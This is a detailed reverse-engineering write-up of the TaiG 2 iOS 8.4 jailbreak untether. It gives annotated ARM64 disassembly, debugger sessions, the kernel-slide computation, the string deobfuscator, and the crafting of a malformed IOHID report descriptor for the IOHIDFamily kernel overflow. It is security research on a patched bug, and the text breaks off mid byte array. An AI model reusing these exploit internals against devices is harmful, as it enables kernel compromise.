HIDden Treasures - TaiG 2 (Part the 2nd)
Jonathan Levin, http://newosxbook.com/ @Technologeeks - 8/25/15
Changelog
- 08/25/15: Written
One Month Later, the state of the union
iOS 8.4.1 has been released, brining the much needed "Apple Music experience improvement" and plugging TaiG's jailbreak. The signing window for 8.4 has been sealed yesterday, and iOS is deemed jailbreakable once more - at least for the time being. With iOS 9 only three weeks or so away, let's hope nobody does anything stupid, rather than save the effort for the 6S.
The previous writeup discussed how the jailbreak program,
By "in depth", I really mean "In depth". If you just want the gist of it, the crude navigation bar should get you to it, sparing you the excruciating via dolorosa. I heard some past complaints from good hearted souls about my previous writeup of TaiG (for 8.1.2) stopping short of explaining the kernel bug. This should convince you this *really* is a ton of work, and a heap load of assembly to follow. I had to do this research for the upcoming second edition of MOXiI, so I chose to share it anyway. And to those gentle beings I say, "where is your write-up, detailed or not?"
Tools used
I've made extensive use of my own address:label:comments
, with a few limitations (i.e. must be sorted, function labels start with a '_'). This made it easy to augment
Static analysis, though, has its limitations, particularly in figuring out runtime derived data. So where
Following along
The binary I am using for this is from TaiG's 2.4.3 tool (latest and likely last), though it should be the same for 2.3 as well. I focused on the ARM64 portion (UUID 3634B551-1F4D-356D-B8C7-EB4DA69056FD), because that's what JTool can handle. If you want the 32-bit, try your luck with the "opensource" effort.
If you choose to follow along, do so carefully. If you accidentally cause TaiG's binary to uninstall, or impact the trojan amfid
chances are launchd would fail to start, leaving your device unable to start ssh and/or the required services to re-jailbreak. This would force you to restore iOS to the (presently unjailreakable) 8.4.1. Caveat Lector.
I'll be demonstrating this by reverse engineering, so you are welcome to grab the latest version of Jtool for the static analysis, plus the fully annotated companion file from right here. You can use a patched debugserver (from the DDI, self-signed with full get-task-allow and task_for_pid-allow) and start taig on the device, then connect to it through the localhost). This will look something like this:
And, on your host:
So, where were we, again?
You might want to (re-)read the previous writeup , but in a nutshell, we have persistence thanks to two symbolic links:
Recall that
Mapping CVEs
Apple's 8.4.1 Security Updates lists over three dozen security updates, of which seven or so are attributed to TaiG, but all are very vaguely described - both in the bulletin and the corresponding CVE entries - so it makes sense to map them to the previous writeup and to this one:
- CVE-2015-5746 "An issue existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.". Funny. This is a repeat of CVE-2014-4480 (from the 8.1.3 Security Updates. Then, too, Apple fixed the issue by " adding additional path checks". Tsk Tsk. This is explained in detail in both the previous writeup and the the writeup of the original 8.1.2 Jailbreak.
- CVE-2015-5752 "An issue existed within the path validation logic for symlinks. This issue was addressed through improved path sanitization." - Likely refers to TaiG's creation of symlinks to
amfid_d
and/taig/taig
(from . - CVE-2015-3803 "An issue existed in the way multi-architecture executable files were evaluated that could have allowed unsigned code to be executed" - "multi-architecture" being the politically correct name for fat (or, in TaiG's case, obese) files. q.v. amfid of the 27 architectures in the previous writeup.
- CVE-2015-3802, CVE-2015-3803 "A validation issue existed in the handling of Mach-O files. This was addressed by adding additional checks." That's a tad vague for me to figure out which is which, because the CVEs don't detail anything, aside from the vulnerabilities being "different" - and there's actually more than two. I'm guessing one of them refers to the Mach-O within Mach-O technique that TaiG used. Another could be the use of FAKE_TEXT (but that's been used before, so you don't know). Or it could be
LC_LOAD_DYLINKER
arbitrarily being used for just about any program, something I've noted that Apple could have and should have easily patched (at least on iOS) aeons ago. - CVE-2015-5774 "A buffer overflow issue existed in IOHIDFamily. This issue was addressed through improved memory handling." They mean aNOTHER issue in IOHIDFamily. You know. Like CVE-2014-4487 (previous TaiG), CVE-2014-4488, CVE-2014-4489, etc. etc. The irony is that Apple found no less than three right after 8.1.2. I don't envy the guys there doing the code review.
Interestingly, no reference was made to the perennial favorite, DDI :-) Last, but hardly least, the exploit used for the kernel (detailed in this writeup):
The untether::Structure
Inspection of the untether with jtool
reveals a pretty straightforward binary:
No fat malformation, no fake segments - just a standard Mach-O binary. The code signature is obviously self-signed, and exists solely for the purposes of (a) avoiding being killed (AMFI or not, unsigned binaries will be slaughtered by the kernel) and (b) get us the entitlements we need:
Note the entitlements blob is invalid - we don't care about this, since the trojan amfid will allow anything at this point. As for entitlements, we actually only need "platform-application", which enables unsandboxed execution (lest Sandbox.kext kills us). But it's somewhat of a habit to use the full trinity.
To get an idea as to what's in the code, I often have a look at the string section. Thanks to compilers working in a very sequential, structured fashion, the order of the strings often corresponds to their references in the binary. (Note, often, not always - but you'd be surprised at how many binaries (especially Apple's) this proves really useful for. JTool
's disassembly automatically resolves string references when encountered. If you're interested in the contents of the strings themselves, they are shown here:
So, the untether includes:
- Kernel patches
- Setup code to install the untether, from files provided by the loader (see previous writeup)
- LibTar code
- A custom compression library , as is evidenced by ../Users/ky/ and ..KYCompress
The Untether::Flow
The structure of the entry point function is pretty simple, and resembles the previous untether, to the point of obviously reusing a lot of code. Rather than walk through each step of reversing, I'll present the fully reversed code, as generated by jtool
with the help of a companion file and the --html
output switch:
The following outputs are verbatim from jtool
automated output. As such, they contain hyperlinks which may or may not work here. If you take the companion file, dump it in the same dir as the taig binary (or another, specifying --jtooldir
and run jtool --html
on it, you will get a fully hyperlinked html file you can quickly navigate it. jtool
is far from perfect - some cases it can't get variables right (I don't support args yet). It sure trumps otool
, but it ain't IDA.. It's my pet project, though, and undergoing continuous improvements. Any feedback/bug reports are welcome!
Get Kernel Base and Last
TaiG needs to do some serious kernel patching, and therefore needs to get the kernel base and last addresses. In the previous untether, this was done by a(nother) info leak from kext_request
(OSKextCopyLoadedKextInfo
), and the code remains here as well (in the common 0x10000fb8c, _leak_kernel_addresses). But if you look at it, you'll see that neither function works, and the info leak fails - that's because Apple has (finally) patched it (and in fact removed OSBundleMachOHeaders
entirely from iOS).
Closer scrutiny, however, reveals that _leak_kernel_addresses first checks a global, and - if its value is not zero, said value is then used for the address:
_leak_kernel_addresses: 10000fb8c a9ba6ffc STP X28, X27, [SP,#-96]! 10000fb90 a90167fa STP X26, X25, [SP,#16] 10000fb94 a9025ff8 STP X24, X23, [SP,#32] 10000fb98 a90357f6 STP X22, X21, [SP,#48] 10000fb9c a9044ff4 STP X20, X19, [SP,#64] 10000fba0 a9057bfd STP X29, X30, [SP,#80] // // Check if 0x10000e328 is set already. If so, we don't need all this // 10000fba4 910143fd ADD X29, SP, #80; ; R29 = SP + 0x50 10000fba8 10073bd9 ADR x25, 59256; ; ->R25 = 0x10001e320 10000fbac d503201f NOP 10000fbb0 f9400728 LDR X8, [X25, #8]; ; R8 = *(R25(0x10001e320) + 0x8) = *(0x10001e328) => 0x0 10000fbb4 b5000848 CBNZ X8, use_cached_values ; ; 0x10000fcbc 10000fbb8 9400004b BL _raw_GetLoadedKextInfo_via_kext_request ; ; 0x10000fce4 10000fbbc b4000900 CBZ X0, fail ; ; 0x10000fcdc 10000fbc0 b940101a LDR W26, [X0, #16]; ..??? 10000fbc4 340007da CBZ X26, use_cached_values ; ; 0x10000fcbc ... use_cached_values: 10000fcbc 52800000 MOVZ W0, #0; ; ->R0 = 0x0 exit: 10000fcc0 a9457bfd LDP X29, X30, [SP,#80] 10000fcc4 a9444ff4 LDP X20, X19, [SP,#64] 10000fcc8 a94357f6 LDP X22, X21, [SP,#48] 10000fccc a9425ff8 LDP X24, X23, [SP,#32] 10000fcd0 a94167fa LDP X26, X25, [SP,#16] 10000fcd4 a8c66ffc LDP X28, X27, [SP],#96 10000fcd8 d65f03c0 RET fail: 10000fcdc 12800000 MOVN X0, #0; ; ->R0 = 0xffffffffffffffff 10000fce0 17fffff8 B exit ; ; 0x10000fcc0
So who sets these values? Well, you can put a watchpoint on the addresses - but much simpler - right after the get_kernel_* funcs in JTool's output, you'll see (with the companion file installed):
_set_cached_kernel_leaks(141): 10000fa24 a9ba6ffc STP X28, X27, [SP,#-96]! 10000fa28 a90167fa STP X26, X25, [SP,#16] 10000fa2c a9025ff8 STP X24, X23, [SP,#32] 10000fa30 a90357f6 STP X22, X21, [SP,#48] 10000fa34 a9044ff4 STP X20, X19, [SP,#64] 10000fa38 a9057bfd STP X29, X30, [SP,#80] 10000fa3c 910143fd ADD X29, SP, #80; ; R29 = SP + 0x50 10000fa40 d10043ff SUB X31, X31, #16 10000fa44 d2c00fe8 MOVZ X8, #127, LSL #-32; ; ->R8 = 0x7f00000000 10000fa48 f2bfb808 MOVK X8, #64960, LSL 16; ; R8 += fdc00000 =.. 0x7ffdc00000 10000fa4c 8b080008 ADD X8, X0, X8 10000fa50 d2ffffe9 MOVZ X9, #65535, LSL #-16; ; ->R9 = 0xffff000000000000 10000fa54 f2dff009 MOVK X9, #65408, LSL 32; ; R9 += ff8000000000 =.. 0xffffff8000000000 10000fa58 f2bffc09 MOVK X9, #65504, LSL 16; ; R9 += ffe00000 =.. 0xffffff80ffe00000 10000fa5c 8a090108 AND X8, X8, X9 10000fa60 92c00fe9 MOVN X9, #127, LSL 32; ; ->R9 = 0xffffff8000000000 10000fa64 f2a04009 MOVK X9, #512, LSL 16; ; R9 += 2000000 =.. 0xffffff8002000000 10000fa68 f2840009 MOVK X9, #8192; ; R9 += 2000 =.. 0xffffff8002002000 10000fa6c 8b09011b ADD X27, X8, X9 10000fa70 1007459a ADR x26, 59568; ; ->R26 = 0x10001e320 10000fa74 d503201f NOP 10000fa78 f900075b STR X27, [X26, #8]; ; *((0x10001e320) + 0x8) *0x10001e328 = X27 0x100000cfeedfae7 10000fa7c f9000f49 STR X9, [X26, #24]; ; *((0x10001e320) + 0x18) *0x10001e338 = X9 0xffffff8002002000 .... 10000fb50 9400000f BL _leak_kernel_addresses ; ; 0x10000fb8c 10000fb54 b9401b48 LDR W8, [X26, #24]; ; R8 = *(R26(0x10001e320) + 0x18) = *(0x10001e338) => 0x0 10000fb58 4b080388 SUB W8, W28, W8 10000fb5c 8b284368 ADD X8, X27, X8{,}, {#0} 10000fb60 f9000b48 STR X8, [X26, #16]; ; *((0x10001e320) + 0x10) *0x10001e330 = X8 (?) 10000fb64 f9001348 STR X8, [X26, #32]; ; *((0x10001e320) + 0x20) *0x10001e340 = X8 (?) 10000fb68 52800000 MOVZ W0, #0; ; ->R0 = 0x0
Note, in the above, that this function sets the kernel address space values in the following locations:
- 0x10001e328: slid kernel base (e.g. 0xffffff8018402000) - this value is returned by get_kernel_base (0x10000f9e4)
- 0x10001e330: slid kernel last (e.g. 0xffffff80197a7000) - this value is returned by get_kernel_last (0x10000fa04)
- 0x10001e338: original kernel base (0xffffff8002002000)
- 0x10001e340: slid kernel last (not really used)
The function takes its X0 argument (e.g. x0 = 0xffffff80188aeb70), adds a constant (0x7ffdc00000), logical ANDs with another constant ( 0xffffff80ffe00000 ) and then adds to the original kernel address (0xffffff8002002000, a given) to get the kernel slide.
But how do we get the address? Well, we're called from function 123 @10000e94c (that is, 0x10000e3cc + 1412)(corroborate with "bt" or just look at the jtool output). So that sounds like an interesting function to mark for further study..
10000bd44: Calling deobfuscate_strings (0x10000da94)
The string deobfuscator is ripped right out of the previous untether's deobfuscator, taking the "key" (from 0x10001af1f) of rgca/[204';b/[]/?
and applying a loop over them. If you have the companion file, you can use jtool to see it work its magic:
Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD Disassembling from file offset 0xda94, Address 0x10000da94 to next function with opcodes _deobfuscate_strings(110): 10000da94 a9be4ff4 STP X20, X19, [SP,#-32]! 10000da98 a9017bfd STP X29, X30, [SP,#16] 10000da9c 910043fd ADD X29, SP, #16; ; R29 = SP + 0x10 10000daa0 d2800008 MOVZ X8, #0; ; ->R8 = 0x0 10000daa4 f940c813 LDR X19, [X0, #400]; ..??? 10000daa8 1007af09 ADR x9, 62944; ; ->R9 = 0x10001d088 10000daac d503201f NOP 10000dab0 7006a374 ADR x20, 54383; ; ->R20 = 0x10001af1f "rgca/[204';b/[]/?" 10000dab4 d503201f NOP //
// "IOPMrootDomain" //
10000dab8 3007b54a ADR x10, 63145; ; ->R10 = 0x10001d161 10000dabc d503201f NOP 10000dac0 3868692b LDRB W11, [X9, X8 ] 10000dac4 11018d6b ADD W11, W11, #99; ; ..R11 = R11 (0x0) + 0x63 = 0x63 10000dac8 38686a8c LDRB W12, [X20, X8 ] 10000dacc 4a0c016b EOR W11, W11, W12 10000dad0 3828694b STR W11, [X10, xW8] ..; ; *((0x10001d161) + 0x0) *0x10001d161 = X11 0x63 10000dad4 91000508 ADD X8, X8, #1; ; ..R8 = R8 (0x0) + 0x1 = 0x1 10000dad8 f1003d1f CMP X8, #15 10000dadc 54ffff21 B.NE 0x10000dac0 ; 0x10000dac0 10000dae0 91060260 ADD X0, X19, #384; ; ..R0 = R19 (0x100000cfeedfacf) + 0x180 = 0x100000cfeedfc4f 10000dae4 3007b3e1 ADR x1, 63101; ; ->R1 = 0x10001d161 10000dae8 d503201f NOP 10000daec 94002de4 BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOHIDResource" //
... 10000db28 7007b141 ADR x1, 63019; ; ->R1 = 0x10001d153 10000db2c d503201f NOP 10000db30 94002dd3 BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOHIDLibUserClient" ... 10000db70 1007ae81 ADR x1, 62928; ; ->R1 = 0x10001d140 10000db74 d503201f NOP 10000db78 94002dc1 BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOHIDEventService" //
.. 10000dbb8 5007aba1 ADR x1, 62838; ; ->R1 = 0x10001d12e 10000dbbc d503201f NOP 10000dbc0 94002daf BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOUserClientClass" //
... 10000dc00 1007a8e1 ADR x1, 62748; ; ->R1 = 0x10001d11c 10000dc04 d503201f NOP 10000dc08 94002d9d BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "ReportDescriptor" //
... 10000dc48 7007a601 ADR x1, 62659; ; ->R1 = 0x10001d10b 10000dc4c d503201f NOP 10000dc50 94002d8b BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "ReportInterval" //
.. 10000dc8c 1007a381 ADR x1, 62576; ; ->R1 = 0x10001d0fc 10000dc90 d503201f NOP 10000dc94 a9417bfd LDP X29, X30, [SP,#16] 10000dc98 a8c24ff4 LDP X20, X19, [SP],#32 10000dc9c 14002d78 B libSystem.B.dylib::_strcpy ; ; 0x10001927c _returns_global:
So deobfuscation is pretty simple - apply the same loop over the values in their "obfuscated" form, then call strcpy to put them in the global, as of offset 0x180. Jtool is still buggy with figuring out some values, hence it doesn't resolve R19 correctly. But - If you look at the following functions, you'll see that those right after returns_global
, you'll see they return the deobfuscated value. These have been marked out in the companion file.
Zephyr:~ morpheus$cat /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD | grep _returns
0x10000dca0:_returns_global
0x10000dcac:_returns_global+0x180 ("IOPMrootDomain")
0x10000dcbc:_returns_global+0x1c0 ("IOHIDResource")
0x10000dccc:_returns_global+0x200 ("IOHIDLibUserClient")
0x10000dcdc:_returns_global+0x240 ("IOHIDEventService")
0x10000dcec:_returns_global+0x280 ("IOUserClientClass")
0x10000dcfc:_returns_global+0x2c0 ("ReportDescriptor")
0x10000dd0c:_returns_global+0x300 ("ReportInterval")
If you just want to know the gist of it, without getting through step-by-step ARM64 assembly, just skip all the next part, or click here If you're still reading this, be aware of the following annoyance: By now we already know 123 is important. This was made evident by the kernel address leak, and is also clear from looking at the Taig Startup function, which calls 0x10000cb78 (function 86) at 0x10000bd70. Function #86 does nothing but clear 0x198 bytes its argument, and pass it to 123:The Exploit (CVE-2015-5774, etc)
process launch -A
doesn't work well). Fortunately, ASLR just slides the binary and the heap/stack (but not the shared library cache *muhahaha*) by an integer number of pages, so offsets in page remain the same, and it's easy to figure the slide. I used $sp + notation whenever possible, and the addresses I refer to are the non-slid addresses (the ones shown in jtool
).
Leading up to the exploit:
10000bd6c aa1403e0 *MOV X0, X20
10000bd70 94000382 BL _leads_to_exploit(86) ; ; 0x10000cb78
//
// Was exploit successful?
//
10000bd74 7100001f CMP W0, #0
10000bd78 540000ab B.LT exploit_failed ; ; 0x10000bd8c
10000bd7c 91028280 ADD X0, X20, #160; ; ..R0 = R20 (0x100000cfeedfaef) + 0xa0 = 0x100000cfeedfb8f
10000bd80 34000138 CBZ X24, exploit_worked_and_no_args ; ; 0x10000bda4
...
...
...
_leads_to_exploit(86):
10000cb78 a9be4ff4 STP X20, X19, [SP,#-32]!
10000cb7c a9017bfd STP X29, X30, [SP,#16]
10000cb80 910043fd ADD X29, SP, #16; ; R29 = SP + 0x10
10000cb84 aa0103f3 *MOV X19, X1
10000cb88 aa0003f4 *MOV X20, X0
10000cb8c d2803301 MOVZ X1, #408; ; ->R1 = 0x198
10000cb90 940030e3 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c
10000cb94 b9003a93 STR W19, [X20, #56]; ; *((0x0) + 0x38) *0x38 = X19 0x100000cfeee0acf
10000cb98 aa1403e0 *MOV X0, X20
10000cb9c a9417bfd LDP X29, X30, [SP,#16]
10000cba0 a8c24ff4 LDP X20, X19, [SP],#32
10000cba4 1400060a B _exploit(123) ; ; 0x10000e3cc
If you haven't skipped to the high level view, you're obviously interested in following along :-) Set a breakpoint on function 86 and 123, and inspect the arguments:
(lldb) b taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 Breakpoint 3: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3, address = 0x000000010004a3cc (lldb) b taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3 Breakpoint 4: where = taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3, address = 0x0000000100048b78 (lldb) c Process ... resuming /System/Library/NanoLaunchDaemons/com.apple.companionfindlocallyd.plist: Could not find specified service ... * thread #1: tid = 0x1be9, 0x0000000100048b78 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1 frame #0: 0x0000000100048b78 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3: -> 0x100048b78: stp x20, x19, [sp, #-32]! 0x100048b7c: stp fp, lr, [sp, #16] 0x100048b80: add fp, sp, #16 0x100048b84: mov x19, x1 (lldb) reg read x0 x1 x0 = 0x000000016fdc3970 x1 = 0x0000000000000000 (lldb) c Process 321 resuming Process 321 stopped * thread #1: tid = 0x1be9, 0x000000010004a3cc taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x000000010004a3cc taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3: -> 0x10004a3cc: stp x28, x27, [sp, #-96]! 0x10004a3d0: stp x26, x25, [sp, #16] 0x10004a3d4: stp x24, x23, [sp, #32] 0x10004a3d8: stp x22, x21, [sp, #48] (lldb) reg read x0 x1 x0 = 0x000000016fdc3970 x1 = 0x0000000000000000 (lldb) mem read $x0 0x16fdc3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fdc3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x10000e3cc: The exploit function (123)
Function 123 will start with a setup of the stack. Its stack size is unusually large, since it uses several large arrays. You can see the setup:
_exploit(123): //
// called with a buffer of 0x198 bytes, initialized to zero, save byte 56 //
10000e3cc a9ba6ffc STP X28, X27, [SP,#-96]! 10000e3d0 a90167fa STP X26, X25, [SP,#16] 10000e3d4 a9025ff8 STP X24, X23, [SP,#32] 10000e3d8 a90357f6 STP X22, X21, [SP,#48] 10000e3dc a9044ff4 STP X20, X19, [SP,#64] 10000e3e0 a9057bfd STP X29, X30, [SP,#80] 10000e3e4 910143fd ADD X29, SP, #80; ; R29 = SP + 0x50 //
// advance stack pointer: sp, sp, #6, lsl #12, allocating aligned large amount of space.
// Also save our arg in X19 //
10000e3e8 d1401bff SUB X31, X31, #6{shift} 10000e3ec d133c3ff SUB X31, X31, #3312 10000e3f0 aa0003f3 *MOV X19, X0 //
// usual stack_chk_guard stuff - ignore this. //
10000e3f4 91400ffb ADD X27, SP, #12288; ; R27 = SP + 0x3000 10000e3f8 9103a37b ADD X27, X27, #232; ; ..R27 = R27 (0x100000cfeee2acf) + 0xe8 = 0x100000cfeee2bb7 10000e3fc d503201f NOP 10000e400 5806e19c LDR X28, #14092; ; R28 = *0x10001c030libSystem.B.dylib::___stack_chk_guard 10000e404 f9400388 LDR X8, [X28, #0]; ; R8 = *(R28(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e408 f91e0368 STR X8, [X27, #15360]; ; *((0x100000cfeee2bb7) + 0x3c00) *0x100000cfeee67b7 = X8 0x3f3f3f3f //
// sp_30e8 = memset (SP + 0x30e8, '\0', 0x1000) //
10000e40c 91400ff6 ADD X22, SP, #12288; ; R22 = SP + 0x3000 10000e410 9103a2d6 ADD X22, X22, #232; ; ..R22 = R22 (0x100000cfeee2acf) + 0xe8 = 0x100000cfeee2bb7 10000e414 b27403e1 ORR X1, XZR, #0x1000; ; ->R1 = 0x1000 10000e418 aa1603e0 *MOV X0, X22 10000e41c 94002ac0 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// sp_2b30 = memset (SP + 0x2b30, '\0', 0x5b8) //
10000e420 91400be0 ADD X0, SP, #8192; ; R0 = SP + 0x2000 10000e424 912cc000 ADD X0, X0, #2864; ; ..R0 = R0 (0x100000cfeee1acf) + 0xb30 = 0x100000cfeee25ff 10000e428 d280b701 MOVZ X1, #1464; ; ->R1 = 0x5b8 10000e42c 94002abc BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// sp_20f0 = memset (SP + 0x20f0, '\0', 0xa40) //
10000e430 91400be0 ADD X0, SP, #8192; ; R0 = SP + 0x2000 10000e434 9103c000 ADD X0, X0, #240; ; ..R0 = R0 (0x100000cfeee1acf) + 0xf0 = 0x100000cfeee1bbf 10000e438 d2814801 MOVZ X1, #2624; ; ->R1 = 0xa40 10000e43c 94002ab8 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// sp_00f0 = memset (SP + 0xf0, '\0', 0x2000) //
10000e440 9103c3e0 ADD X0, SP, #240; ; R0 = SP + 0xf0 10000e444 b27303e1 ORR X1, XZR, #0x2000; ; ->R1 = 0x2000 10000e448 94002ab5 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// Open IOHIDResource handle in X21, and save in X19 (beginning of arg buffer) for posterity //
10000e44c b9400668 LDR W8, [X19, #4]; ; R8 = *(R19(0xffffffffffffffff) + 0x4) = *(0x3) => 0x100000cfeedfacf 10000e450 350008e8 CBNZ X8, 0x10000e56c ; 0x10000e56c 10000e454 97ffe9a5 BL _opens_IOServiceMatching("IOHIDResource")_as_b0b(usually) ; ; 0x100008ae8 10000e458 aa0003f5 *MOV X21, X0 10000e45c b9000275 STR W21, [X19, #0]; ; *((0xffffffffffffffff) + 0x0) *0xffffffffffffffff = X21 0x100000cfeedfbbf 10000e460 34002435 CBZ X21, fail ; ; 0x10000e8e4 //
// Optimized memset of (SP + 0xc0, '\0', 0x24) //
10000e464 b900e3ff STR WZR, [SP, #224] ; ? 10000e468 a90d7fff STP XZR, XZR, [SP,#208] 10000e46c a90c7fff STP XZR, XZR, [SP,#192] //
// x23 = sp_50e8 = memset (SP + 0x50e8, '\0', 0x800) //
10000e470 914017f7 ADD X23, SP, #20480; ; R23 = SP + 0x5000 10000e474 9103a2f7 ADD X23, X23, #232; ; ..R23 = R23 (0x100000cfeee4acf) + 0xe8 = 0x100000cfeee4bb7 10000e478 b27503e1 ORR X1, XZR, #0x800; ; ->R1 = 0x800 10000e47c aa1703e0 *MOV X0, X23 10000e480 94002aa7 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// Set sp_00e4: to 0x8 sp_00e8: to 0xFF //
10000e484 321d03e8 ORR W8, WZR, #0x8; ; ->R8 = 0x8 10000e488 b900e7e8 STR W8, [SP, #228] ; ? 10000e48c 32001fe8 ORR W8, WZR, #0xff; ; ->R8 = 0xff 10000e490 b900ebe8 STR W8, [SP, #232] ; ? //
// loads R20 with -1, which is our default return value if we fail //
Stack setup
Following the string of memsets (bzero) will get you most variables in this function ; Some of those cover more than one variable, though. Note the entire area up to sp_00e8 is unclaimed - though it will be used later. Putting the stack together we end up with:
Dec Hex Variable Size
0x58E8 _______________________ ?
0x50E8 _______________________ 0x800
0x40E8 _______________________ 0x1000 (uninitialized)
0x30E8 _______________________ 0x1000
0x2B30 _______________________ 0x5B8
8432 0x20F0 _______________________ 0xA40
240 0x00F0 _______________________ 0x2000
236 0x00Ec _______________________ mach_port_t
232 0x00E8 0xFF uint64_t
228 0x00E4 0x8 uint32_t
192 0x00C0 0x24
184 0x00B8 0x8
136 0x0088 _______________________ 0x30
96 0x0060 _______________________ uint32_t
88 0x0058 _______________________ mach_port_t
80 0x0050 ________________________ void *
Crafting a report descriptor
You'll note that hidden in the memset()s is a call to IOKit - to open a handle to IOHIDResource
. The handle returned is usually b0b - I say, usually, because Mach Ports are somewhat like file descriptors (or Windows Handles) in that they have meaning only in the process (more accurately) task in which they were created. Because they're created deterministically, they often have the same number.
The next step in the exploit is to craft a Report Descriptor. Now, HID Report Descriptors are totally messed up. To be honest, I don't understand them, nor have I any intent to (I'm a software person, not hardware). You can download a USB descriptor tool from The official USB consortium site, but I'd recommended instead a javascript parser at Eleccelerator.com, along with a nice tutorial (which was more than enough for me to realize I don't want any more of this stuff :-) . Following the creation of the descriptor along is WAY easier in a debugger, because it involves a lot of memory setting which is excruciating. JTool isn't that advanced (yet?), and I doubt if IDA could do this. So it's much easier to set a breakpoint once the descriptor is crafted.
//
// Start crafting our Report Descriptor in x23 (= sp_50e8) //
10000e498 12800001 MOVN X1, #0; ; ->R1 = 0xffffffffffffffff 10000e49c 321f7be2 ORR W2, WZR, #0xfffffffe; ; ->R2 = 0xfffffffe 10000e4a0 321e7be3 ORR W3, WZR, #0xfffffffd; ; ->R3 = 0xfffffffd 10000e4a4 aa1703e0 *MOV X0, X23 10000e4a8 97fffc06 BL _crafts_IOHIDDescriptor(100) ; ; 0x10000d4c0 10000e4ac aa0003f8 *MOV X24, X0 //
// Advance in our descriptor, write next part //
10000e4b0 8b38c2e0 ADD X0, X23, X24{,}, {#0} 10000e4b4 910303f9 ADD X25, SP, #192; ; R25 = SP + 0xc0 10000e4b8 52800121 MOVZ W1, #9; ; ->R1 = 0x9 10000e4bc 320003e2 ORR W2, WZR, #0x1; ; ->R2 = 0x1 10000e4c0 320007e3 ORR W3, WZR, #0x3; ; ->R3 = 0x3 10000e4c4 aa1903e4 *MOV X4, X25 10000e4c8 97fffc19 BL _on_with_IOHIDDesc(101) ; ; 0x10000d52c //
// Advance in our descriptor, write next-to-last part //
10000e4cc 93407c08 ASR X8, X0, #0 10000e4d0 8b38c118 ADD X24, X8, X24{,}, {#0} 10000e4d4 8b1802e0 ADD X0, X23, X24 10000e4d8 52800121 MOVZ W1, #9; ; ->R1 = 0x9 10000e4dc 321f03e2 ORR W2, WZR, #0x2; ; ->R2 = 0x2 10000e4e0 320007e3 ORR W3, WZR, #0x3; ; ->R3 = 0x3 10000e4e4 aa1903e4 *MOV X4, X25 10000e4e8 97fffc11 BL _on_with_IOHIDDesc(101) ; ; 0x10000d52c //
// Advance in our descriptor, write "c3 00 00 00 00" at end //
10000e4ec 8b20c318 ADD X24, X24, X0{,}, {#0} 10000e4f0 8b1802e0 ADD X0, X23, X24 10000e4f4 97fffc59 BL _top_off_Report_descriptor_with_0xc3 ; ; 0x10000d658
So, setting our breakpoint, we'd have:
(lldb) b 0x10004a4f8 Breakpoint 6: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300, address = 0x000000010004a4f8 (lldb) c * thread #1: tid = 0x1be9, 0x000000010004a4f8 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 frame #0: 0x000000010004a4f8 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300: (lldb) (lldb) mem read $x23 0x16fdc1ce8: 07 fe ff ff ff 27 ff ff ff ff 17 ff ff ff ff 47 .....'.........G 0x16fdc1cf8: ff ff ff ff 37 ff ff ff ff a7 00 00 00 00 b7 00 ....7........... 0x16fdc1d08: 00 00 00 a3 fd ff ff ff 07 00 00 00 00 0a 00 00 ................ 0x16fdc1d18: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 '.........G....7 0x16fdc1d28: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 ....g....W....w. 0x16fdc1d38: 00 00 00 97 ff 00 00 00 87 01 00 00 00 93 03 00 ................ 0x16fdc1d48: 00 00 07 00 00 00 00 0a 00 00 27 00 00 00 00 17 ..........'..... 0x16fdc1d58: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 ....G....7....g. 0x16fdc1d68: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 ff 00 ...W....w....... 0x16fdc1d78: 00 00 87 02 00 00 00 93 03 00 00 00 c3 00 00 00 ................
Ugh. Apple's IOHIDFamily sources have a descriptor parser in
Zephyr:tools morpheus$ pwd
/Users/morpheus/Documents/src/Apple/IOHIDFamily-606.1.7/tools
Zephyr:tools morpheus$ tail -25 IOHIDReportDescriptorParser.c
void main (int argc, char **argv)
{
uint32_t len = 161;
uint8_t rd[] = {
0x07,0xfe,0xff,0xff,0xff,0x27,0xff,0xff,0xff,0xff,0x17,0xff,0xff,0xff,0xff,0x47,
